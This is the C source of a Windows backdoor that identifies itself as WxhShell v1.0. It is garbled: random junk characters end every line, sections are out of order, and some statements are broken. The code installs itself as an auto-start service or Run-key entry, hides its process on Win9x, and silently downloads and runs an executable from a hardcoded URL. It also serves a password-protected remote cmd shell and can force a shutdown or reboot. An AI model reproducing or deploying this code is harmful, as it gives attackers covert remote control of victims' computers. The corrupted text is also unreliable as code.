    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!V5 #J  
    else { a ](Jc)  
    closesocket(wsh); MJyz0.9c  
    ExitThread(0);  UZ*Yt  
    } O>vbAIu  
    break; {p90   
    } $E >)  
  // 获取shell eV"Za.a.  
  case 's': { HxE`"/~.7k  
    CmdShell(wsh); K|a^<| S  
    closesocket(wsh); |0wHNRN_  
    ExitThread(0); 0b3z(x!O  
    break; fR^aFT  
  } I k[{,p  
  // 退出 Ho^rYz  
  case 'x': { E0lro+'lS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cUDo}Yu  
    CloseIt(wsh); 12olVTuw  
    break; WVMkLMg8d  
    } ,Oj 53w=  
  // 离开 cD5^mxd%  
  case 'q': { BKJwM'~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O_~vl m<#  
    closesocket(wsh); #q-7#pp  
    WSACleanup(); uG:xd0X+W  
    exit(1); k6(9Rw8bCk  
    break; ? CabVj-r  
        } jb'A Os  
  } m|8ljXX  
  } PKK18E}{%^  
Pkq?tm$#  
  // 提示信息 Wf>P[6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dU<qFxW  
} $TK<~3`  
  } %9HL "  
\|wUxijJ*,  
  return; z{uRq A G  
} }z|@X KA#  
{zmh0c; |  
// shell模块句柄 loR,f&80=O  
int CmdShell(SOCKET sock) xA7Aw0  
{ m,1Hlp  
STARTUPINFO si; MzP q(`W  
ZeroMemory(&si,sizeof(si)); ,T<q"d7-#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wBa IN]Y,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *? <ygzX  
PROCESS_INFORMATION ProcessInfo; mDB?;a>  
char cmdline[]="cmd"; O dWZYWj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R32A2Ml  
  return 0; NJqjW  
} \])-Bp ,  
+Dwq>3AH  
// 自身启动模式 s/cclFji]  
int StartFromService(void) Rg,]d u u?  
{ y2=`NG=  
typedef struct \]7i-[  
{ r}%2;!T  
  DWORD ExitStatus; ?mME^?x Mu  
  DWORD PebBaseAddress; {<J(*K*\Jo  
  DWORD AffinityMask;  |tVWmm^m  
  DWORD BasePriority; "$6 .L^9W  
  ULONG UniqueProcessId; <Z:Fnp  
  ULONG InheritedFromUniqueProcessId; =j&qat  
}   PROCESS_BASIC_INFORMATION; rV[/G#V>{  
C A 8N  
PROCNTQSIP NtQueryInformationProcess; S9@2-Oc  
?VCM@{9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e4rhB"qQdn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |Js?@  
jph"94  
  HANDLE             hProcess; C#3K.0a  
  PROCESS_BASIC_INFORMATION pbi; 6:$+"@ps  
8-clL\bm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qi?xx')  
  if(NULL == hInst ) return 0;  )o\U4t  
bayDdR4T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @Y| %  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1*vt\,G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l<"Z?z  
)&$p?kF  
  if (!NtQueryInformationProcess) return 0; 4Y!_tZ>  
KvtX>3#qM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n `Ry!  
  if(!hProcess) return 0; )(`HEl>-9c  
_G1C5nkDl4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; azT@S=,  
b$O1I[o  
  CloseHandle(hProcess); -ZKo/ N>6}  
=, WW#tD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +GDT@,/  
if(hProcess==NULL) return 0; AC& }8w[>u  
^}\!Sn  
HMODULE hMod; 1,pg7L8H  
char procName[255]; \&#pJBBG  
unsigned long cbNeeded; stcbM  
d4[mR~XXT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8<X,6  
}2CVA.Qm!  
  CloseHandle(hProcess); ujH ^ML  
!b:;O +[  
if(strstr(procName,"services")) return 1; // 以服务启动 x+B7r& #:  
N sNk  
  return 0; // 注册表启动 pipO ,n  
} 4,.B#: 8  
)e6)~3[^  
// 主模块 W2 p&LP  
int StartWxhshell(LPSTR lpCmdLine) B^yA+&3HI  
{ lf?dTPrD  
  SOCKET wsl; 0'Y'K6hG`  
BOOL val=TRUE; L28DBjE)A  
  int port=0; ;(1Xb   
  struct sockaddr_in door; 1NI%J B  
d> OLnG> F  
  if(wscfg.ws_autoins) Install(); R-\a3q  
ICxj$b  
port=atoi(lpCmdLine); CQGq}.Jt!  
$T%~t@Cv1  
if(port<=0) port=wscfg.ws_port; 6^vseVx  
kl/eJN'S  
  WSADATA data; ugT;NB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rz\:)<G  
9S8>"w^R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dd&n>A3O=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F\lnG  
  door.sin_family = AF_INET; b IZuZF>*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +T|M U  
  door.sin_port = htons(port); KbP( ;  
c@&-c[k^W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TcjTF|q>  
closesocket(wsl); 7F!(60xY  
return 1; ecg>_%.>  
} ^xZo .P  
g4"0:^/  
  if(listen(wsl,2) == INVALID_SOCKET) { +&j&es  
closesocket(wsl); xQ{n|)i>  
return 1; #x^dR-@   
} 9f/RD?(1O  
  Wxhshell(wsl); /j|Rz5@ =  
  WSACleanup(); hynX5,p;.  
KOqp@K$  
return 0; O wJZ?j& )  
7=e!k-G  
} [->uDbtzL  
ZBX,4kxK7  
// 以NT服务方式启动 >^\}"dEvr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U! xOJ  
{ 0w24lVR.  
DWORD   status = 0; H/Wo~$  
  DWORD   specificError = 0xfffffff; %8N=4vTJ  
;uK">L[u'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q \E [py  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [LcHO] _^M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :fW\!o 8Z2  
  serviceStatus.dwWin32ExitCode     = 0; kCoTz"Z-  
  serviceStatus.dwServiceSpecificExitCode = 0; (sHvoE^q-  
  serviceStatus.dwCheckPoint       = 0; XX@@tzN  
  serviceStatus.dwWaitHint       = 0;  | D?lF  
beN(7jo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c(tX761qz  
  if (hServiceStatusHandle==0) return; OB&lq.r  
'=^$ ;3Z  
status = GetLastError(); ,*Vt53@E  
  if (status!=NO_ERROR) -55Pvg0ND  
{ *;]j#0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ! 4ZszQg  
    serviceStatus.dwCheckPoint       = 0; >#j f Z5t  
    serviceStatus.dwWaitHint       = 0; v o9Fj  
    serviceStatus.dwWin32ExitCode     = status; E }*   
    serviceStatus.dwServiceSpecificExitCode = specificError; Mr8r(LGY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H$j`75#u?-  
    return; 'W>Zr}:  
  } X9lh@`3  
"AAzBWd/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N=`xoF  
  serviceStatus.dwCheckPoint       = 0; { 4(E @  
  serviceStatus.dwWaitHint       = 0; W%)uKQha  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T<\!7 RnLc  
} ?3vOc/2@  
<Fc @T4Q,  
// 处理NT服务事件,比如:启动、停止 ~sd+ch*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~MOab e  
{ cc"L> XoK  
switch(fdwControl) W)0y+H\% r  
{ (zm5 4 Vm  
case SERVICE_CONTROL_STOP: f8m%T%]f  
  serviceStatus.dwWin32ExitCode = 0; hkh b8zS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0%9Nf!j  
  serviceStatus.dwCheckPoint   = 0; C9`J6Uu  
  serviceStatus.dwWaitHint     = 0; [ NSsT>C  
  { D~< 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :4ndU:.L  
  } \; b)qB  
  return; E903T''s  
case SERVICE_CONTROL_PAUSE: Mk*&CNo3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6__#n`  
  break; 1b6o x6  
case SERVICE_CONTROL_CONTINUE: |+^-b}0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6+:Tv2  
  break; | CC(`<\R  
case SERVICE_CONTROL_INTERROGATE: qrFC4\q}  
  break; ; U)a)l'y  
}; Mbt}G|;8H7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Gs*y1  
} "]jGCo>9  
[I`r[u  
// 标准应用程序主函数 J| orvnkK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?a h<Qf]  
{ pP4i0mO{Dv  
H?dmNwkPY  
// 获取操作系统版本 v}=3  
OsIsNt=GetOsVer(); Z=ayVsJ3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f PoC yl  
Cmq.V@  
  // 从命令行安装 #xqeCX 4p  
  if(strpbrk(lpCmdLine,"iI")) Install(); mulK(mp  
<&7KcvBn"4  
  // 下载执行文件 1_Um6vS#  
if(wscfg.ws_downexe) { sckyG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O7#ECUH  
  WinExec(wscfg.ws_filenam,SW_HIDE); &CvNNDgrJ  
} f6 zT  
sOSol7n  
if(!OsIsNt) { n7 RswX  
// 如果时win9x,隐藏进程并且设置为注册表启动 {iP^51fy  
HideProc(); U9D4bn D  
StartWxhshell(lpCmdLine); i$) `U]  
} or_x0Q  
else w_po5[]R  
  if(StartFromService()) ckqU2ETpD}  
  // 以服务方式启动 `;7^@k  
  StartServiceCtrlDispatcher(DispatchTable); $73j*@EQA  
else mPNT*pAO  
  // 普通方式启动 DnA}!s  
  StartWxhshell(lpCmdLine); `~Eo;'(+^  
t[B\'f!  
return 0; #zC_;u$  
} zcGeXX}V?  
+OFq=M  
PaF`dnJ  
AZ)H/#be  
=========================================== 7|6uY  
TIg 3'au  
7Op6> i  
8(UUc>g  
/TTmMx*  
Cf`s:A5<J  
" =6b^j]1  
 ?[Od.  
#include <stdio.h> +K4d(!Sb  
#include <string.h> 'c 0]8Y 4  
#include <windows.h> D 8^wR{-;J  
#include <winsock2.h> TI-8I)  
#include <winsvc.h> d\}r.pD  
#include <urlmon.h> ~6`HJ  
&MnS( 82L  
#pragma comment (lib, "Ws2_32.lib") DfP4 `  
#pragma comment (lib, "urlmon.lib") `_C4L=q"  
S[rz=[7{  
#define MAX_USER   100 // 最大客户端连接数  V3WHp'1  
#define BUF_SOCK   200 // sock buffer S6gg(nNe  
#define KEY_BUFF   255 // 输入 buffer yTWP1  
=$6z1] ;3  
#define REBOOT     0   // 重启 LutP&Ebt8  
#define SHUTDOWN   1   // 关机 tgy*!B6a~  
ftB-gItV  
#define DEF_PORT   5000 // 监听端口 VSa\X~  
:@zz5MB5@  
#define REG_LEN     16   // 注册表键长度 ]6NpHDip1  
#define SVC_LEN     80   // NT服务名长度 4(>|f_$  
!E<y:$eH:  
// 从dll定义API s86Ij>VLf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ca/AScL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LIYj__4=|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F)'kN2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fQcJyX  
?|LR@M!S7  
// wxhshell配置信息 ) -x0xY  
struct WSCFG { c8!q_H~  
  int ws_port;         // 监听端口 f QSP]?  
  char ws_passstr[REG_LEN]; // 口令 ]cvP !  
  int ws_autoins;       // 安装标记, 1=yes 0=no WPT0=Hqp7  
  char ws_regname[REG_LEN]; // 注册表键名 ZYr6Wn  
  char ws_svcname[REG_LEN]; // 服务名 rM/Ona2x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z _W.iBF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *;7~aM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X}*\/(fzl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H&`0I$8m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" aMdWT4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H/"$#8-/  
8,unq3  
}; zvjp]yTx"  
~>v v9-_  
// default Wxhshell configuration [?z`XY_-  
struct WSCFG wscfg={DEF_PORT, *9J >3   
    "xuhuanlingzhe", F(+,M~  
    1, a=n* }.  
    "Wxhshell", jpijnz{M  
    "Wxhshell", % NSb8@  
            "WxhShell Service", XdS&s}J[I  
    "Wrsky Windows CmdShell Service", 8NCu;s  
    "Please Input Your Password: ", g i>`  
  1, w)}' {]P"c  
  "http://www.wrsky.com/wxhshell.exe", *K}h >b 1  
  "Wxhshell.exe" _Sa7+d(  
    }; miWog8j  
ZSWKVTi  
// 消息定义模块 haNi [|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `^_c&y K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L>xecep  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vH14%&OcN  
char *msg_ws_ext="\n\rExit."; $W}YXLFj?  
char *msg_ws_end="\n\rQuit."; r xlKoa  
char *msg_ws_boot="\n\rReboot...";  mE1m  
char *msg_ws_poff="\n\rShutdown..."; +UvT;"  
char *msg_ws_down="\n\rSave to "; ":igYh  
z[vHMJ 0  
char *msg_ws_err="\n\rErr!"; pAdx 6  
char *msg_ws_ok="\n\rOK!"; `IC2}IiF  
2g0_[$[m  
char ExeFile[MAX_PATH]; * I)F5M  
int nUser = 0;  (zIWJJw  
HANDLE handles[MAX_USER]; /7[U J'  
int OsIsNt; I= '6>+P  
WR :I2-1  
SERVICE_STATUS       serviceStatus; pc+'/~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *3R3C+ L  
p)&Yr  
// 函数声明 5EX Ghc'  
int Install(void); H;D CkVL  
int Uninstall(void); j'IZetT  
int DownloadFile(char *sURL, SOCKET wsh); Z@1vJH6IbA  
int Boot(int flag); W]B75  
void HideProc(void); Ns2<wl-  
int GetOsVer(void); H{1'OC  
int Wxhshell(SOCKET wsl); ]K0G!TR<  
void TalkWithClient(void *cs); %M7EOa  
int CmdShell(SOCKET sock); V'M#."Of/  
int StartFromService(void); cqd}.D  
int StartWxhshell(LPSTR lpCmdLine); Fo.p}j+>  
Bx" eX>A8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9]4W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BJ*8mKi h  
;${_eab ]  
// 数据结构和表定义 ehTRw8"R  
SERVICE_TABLE_ENTRY DispatchTable[] = 4N K{RN3  
{ *S= c0  
{wscfg.ws_svcname, NTServiceMain}, 8M6wc394  
{NULL, NULL} ]1)#Y   
}; . UaLP  
zd0 [f3~  
// 自我安装 hd%O\D?  
int Install(void) 1e)5D& njS  
{ 7*>(C*q=  
  char svExeFile[MAX_PATH]; 0J z|BE3Y  
  HKEY key; 0\KDa$ '1k  
  strcpy(svExeFile,ExeFile); .~Gt=F+`s  
=N^j:t  
// 如果是win9x系统,修改注册表设为自启动 V2oXg  
if(!OsIsNt) { N2.(0 G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Kg( 6E,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c`s ]ciC  
  RegCloseKey(key); Mh@RO|F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FCIA8^}s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :=oIvSnh  
  RegCloseKey(key); p%#=OtkC  
  return 0; m#|h22^H  
    } z/P^Bx]r  
  } Wagb|B\  
} QdK PzjA  
else { c.{t +OR  
g$T% C?  
// 如果是NT以上系统,安装为系统服务 _%@ri]u{ov  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E5Zxp3N  
if (schSCManager!=0) 8dlhL8#  
{ k`=&m"&#  
  SC_HANDLE schService = CreateService EY}*}-3  
  ( p"|0PlW  
  schSCManager, `%$l b:e  
  wscfg.ws_svcname, 3FsX3K,_X  
  wscfg.ws_svcdisp, fD~f_Wr  
  SERVICE_ALL_ACCESS, Gq =i-I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [W Ud9fUL  
  SERVICE_AUTO_START, 2B[I- K s  
  SERVICE_ERROR_NORMAL, V*%Lc9<d  
  svExeFile, "7}e~*bM?`  
  NULL, tE"IE$$1  
  NULL, Psw<9[  
  NULL, Co^GsUJ  
  NULL, @,;VMO  
  NULL HImQ.y!B  
  ); v{O(}@  
  if (schService!=0) c^8csQ fG  
  { v O@7o  
  CloseServiceHandle(schService); &w{: qBa  
  CloseServiceHandle(schSCManager); @2/ xu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NU(YllPB  
  strcat(svExeFile,wscfg.ws_svcname); x.ucsb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LLd5Z44v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k[8{N  
  RegCloseKey(key); @!,W]?{  
  return 0; [w?v !8l  
    } ;3 /*Z5p  
  } H'x) [2  
  CloseServiceHandle(schSCManager); x]pZcx9  
} H57wzG{xG  
} v 0D@`C  
MxLi'R=  
return 1; *4O9W8Qz  
} VPUm4%?p$  
de,4M s!%  
// 自我卸载 zTW)SX_O  
int Uninstall(void) 6a4-VX5  
{ hs?cV)hDS  
  HKEY key; 3?uah' D5  
g%%j"Cz1  
if(!OsIsNt) { a4x(lx&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *s6(1 S  
  RegDeleteValue(key,wscfg.ws_regname); 4nU+Wj?T  
  RegCloseKey(key); hDD]Kc;G^1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 57`9{.HB  
  RegDeleteValue(key,wscfg.ws_regname); pXl *`[0X#  
  RegCloseKey(key); }= (|3 \v  
  return 0; Bw4 _hlm  
  } K%3{a=1  
} +uB.)wr  
} {/q4W; D  
else { E2( {[J  
TA>28/U#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D0 ,t,,L  
if (schSCManager!=0) J:G~9~V^  
{ %-#rzeaW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $uCY\ xqZ  
  if (schService!=0) V J]S"  
  { i3U_G^8  
  if(DeleteService(schService)!=0) { /=~o|-n8@  
  CloseServiceHandle(schService); :WAFBK/x  
  CloseServiceHandle(schSCManager); F9 2et<y.  
  return 0; .Uh|V -  
  } 92 =huV  
  CloseServiceHandle(schService); LRKl3"M  
  } wSIfqf+y  
  CloseServiceHandle(schSCManager); 7f#r&~=  
} B| .8+Q  
} 3p#BEH<re  
l t{yo\  
return 1; 6*%E4#4  
} )sG/H8  
Nk@ag)  
// 从指定url下载文件 6;%Ajx  
int DownloadFile(char *sURL, SOCKET wsh) H3Sfz'  
{ 'o% .Q x  
  HRESULT hr; pPnJf{  
char seps[]= "/"; 8|H^u6+yz  
char *token; IM*T+iRKqF  
char *file; K %Qj<{)  
char myURL[MAX_PATH]; m5KAKpCR,  
char myFILE[MAX_PATH]; #Oq~ZV|<l  
vu=`s|R  
strcpy(myURL,sURL); 2kV{|`1  
  token=strtok(myURL,seps); U7le> d;L  
  while(token!=NULL) ?*: mR|=  
  { aW@J]slg  
    file=token; &#DKB#.2  
  token=strtok(NULL,seps); IPEJ7 n49  
  } X9/]< Y<!  
'?j,oRz^T  
GetCurrentDirectory(MAX_PATH,myFILE); {j4J(dtO  
strcat(myFILE, "\\"); $zYo~5M?i-  
strcat(myFILE, file); oH]"F  
  send(wsh,myFILE,strlen(myFILE),0); -9@/S$i  
send(wsh,"...",3,0); &HIG776  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #Ss lH  
  if(hr==S_OK) { ((|IvP`  
return 0; sH `(y)`_  
else n1 kh8,  
return 1; #5/.n.X"  
A.>TD=Nz  
} QZ^P2==x  
`6BjNV  
// 系统电源模块 H6/C7  
int Boot(int flag) [7*$Sd  
{ ?K/N{GK%{  
  HANDLE hToken; jg+q{ ^  
  TOKEN_PRIVILEGES tkp; -lNT"9  
kjOPsz*0  
  if(OsIsNt) { 6p1)wf.J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |JRaskd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fx `oe  
    tkp.PrivilegeCount = 1; &R~)/y0]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /\C5`>x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gW(7jFl  
if(flag==REBOOT) { -&3mOn& (1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UYW{A G2C  
  return 0; [H&Z / .{F  
} "O j2B|:s&  
else { 9]^ CDL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \]gUX-  
  return 0; >;M?f!  
} $`O%bsjX  
  } Z{gJm9  
  else { :L'U>)k  
if(flag==REBOOT) { 6l|,J`G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wdzZ41y1  
  return 0; # mK?K  
} 1j":j%9M  
else { N@>o:(08  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k5ZkD+0Jo  
  return 0; ="Sa>-d o,  
} o6LZ05Z-&  
} HJ+I;OJ  
F^bzE5#  
return 1; oiL^$y/:;z  
} ZlxJY%o eu  
B^C!UWN>%X  
// win9x进程隐藏模块 Z+?V10$  
void HideProc(void) 4EtP|  
{ 13v#  
mx:)&1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S+7:fu2?+  
  if ( hKernel != NULL ) g k.c"$2  
  { 0>KW94  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9=wt9` ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RCvf@[y4  
    FreeLibrary(hKernel); }q~M$  
  } (g>>   
k@i+gV%  
return; },@1i<Bb  
} D3BNA]P\2@  
}VUrn2@-4  
// 获取操作系统版本 b9(_bsc  
int GetOsVer(void) N-g=_86C"  
{ 3TS(il9A  
  OSVERSIONINFO winfo; hb_J. Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?z]h Ysy  
  GetVersionEx(&winfo); 2V*<HlqOif  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SK @%r  
  return 1; ee0)%hc1t  
  else X$<s@_#1  
  return 0; i{9_C/  
} NWt`X!  
:XP/`%:  
// 客户端句柄模块 @},25"x)  
int Wxhshell(SOCKET wsl) xpb,Nzwt^  
{ K Qz.g3,  
  SOCKET wsh; 9O.okU  
  struct sockaddr_in client; q4~w D  
  DWORD myID; [1\k'5rp  
!((J-:=  
  while(nUser<MAX_USER) *C*'J7  
{ VW[!%<  
  int nSize=sizeof(client); !ibdw_H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L/U^1=Wi*O  
  if(wsh==INVALID_SOCKET) return 1; mO6rj=L^  
X4c|*U=4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EU@ BNja  
if(handles[nUser]==0) e#+u8LrN  
  closesocket(wsh); '\ MYC8"  
else sUCI+)cM3  
  nUser++; >;$C@  
  } hLqRF4>L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); co93}A,k  
&tAhRMa  
  return 0; <K(qv^C  
} t+ ,'  
@Nm;lZK  
// 关闭 socket "}ms|  
void CloseIt(SOCKET wsh) rF3QmR?l  
{ ]d4`PXI  
closesocket(wsh); |8bqn^@$t  
nUser--; zA ; 7Nv$3  
ExitThread(0); \I@hDMqv  
} ]f3[I3;K  
W7F1o[  
// 客户端请求句柄 $j+RUelFY  
void TalkWithClient(void *cs) 9?jD90@ }  
{ |2$wJ$ I  
V>$A\AWw  
  SOCKET wsh=(SOCKET)cs; VP7g::Ab  
  char pwd[SVC_LEN]; EDl*UG83G  
  char cmd[KEY_BUFF]; u["3| `C5  
char chr[1]; %`M IGi#  
int i,j; wNk 0F7Ck  
9_h  V1:  
  while (nUser < MAX_USER) { _V.MmA  
IzuYkl}  
if(wscfg.ws_passstr) { 8(6(,WwP}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zeHf(N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u n)YK  
  //ZeroMemory(pwd,KEY_BUFF); 3>~W_c9@  
      i=0; Y#/mE!&  
  while(i<SVC_LEN) { Rz #&v  
~yGD("X  
  // 设置超时 #cnh ~O  
  fd_set FdRead; ($h`Y;4  
  struct timeval TimeOut; 2@A%;f0Q  
  FD_ZERO(&FdRead); t-gLh(-.  
  FD_SET(wsh,&FdRead); yGxAur=dE  
  TimeOut.tv_sec=8; (R9{wGV [  
  TimeOut.tv_usec=0; l"{1v ~I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )U?5O$M;lE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -E$(<Pow~\  
tyW5k(>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R2e":`0I  
  pwd=chr[0]; *N C9S,eSP  
  if(chr[0]==0xd || chr[0]==0xa) { ]FQO@ y  
  pwd=0; -/ltnx)j  
  break; KF%tF4^+|  
  } ,ce sQ ou  
  i++; <-]qU}-  
    } JNJ96wnX1  
N<$dbqoT|  
  // 如果是非法用户,关闭 socket V,*<E&+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |[ )e5Xhd  
} (uxe<'Co|  
$ouw *|<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |= o)|z2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L&I8lG  
I*SrK Zb  
while(1) { :rBPgrt  
U5iyvU=UG  
  ZeroMemory(cmd,KEY_BUFF); j_ \?ampF  
MR?5p8S#g  
      // 自动支持客户端 telnet标准   5Al1u|;HB  
  j=0; N4xC Zb  
  while(j<KEY_BUFF) { 1@i|[dq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =hP7 Hea(N  
  cmd[j]=chr[0]; {\-9^RL  
  if(chr[0]==0xa || chr[0]==0xd) { 6w"_sK?  
  cmd[j]=0; Ue=Je~Ri;9  
  break; +=V[7^K;  
  } vGX}zzto  
  j++; x(tf0[g  
    } Hdn%r<+c  
ev{;}2~V  
  // 下载文件 oy _DYop  
  if(strstr(cmd,"http://")) { <27:O,I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .:b&$~<  
  if(DownloadFile(cmd,wsh))  Fhk 8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >iKbn  
  else  jO5,PTV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nueb xd  
  } r=J+  
  else { eXYf"hU,  
;h-W&i7  
    switch(cmd[0]) { QMz6syn4u  
  vg"$&YX9"  
  // 帮助 Z w`9B  
  case '?': { \se /2l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MmbS ["A  
    break; Y6Mp[=  
  } 5fT"`FL?  
  // 安装 auai@)v6  
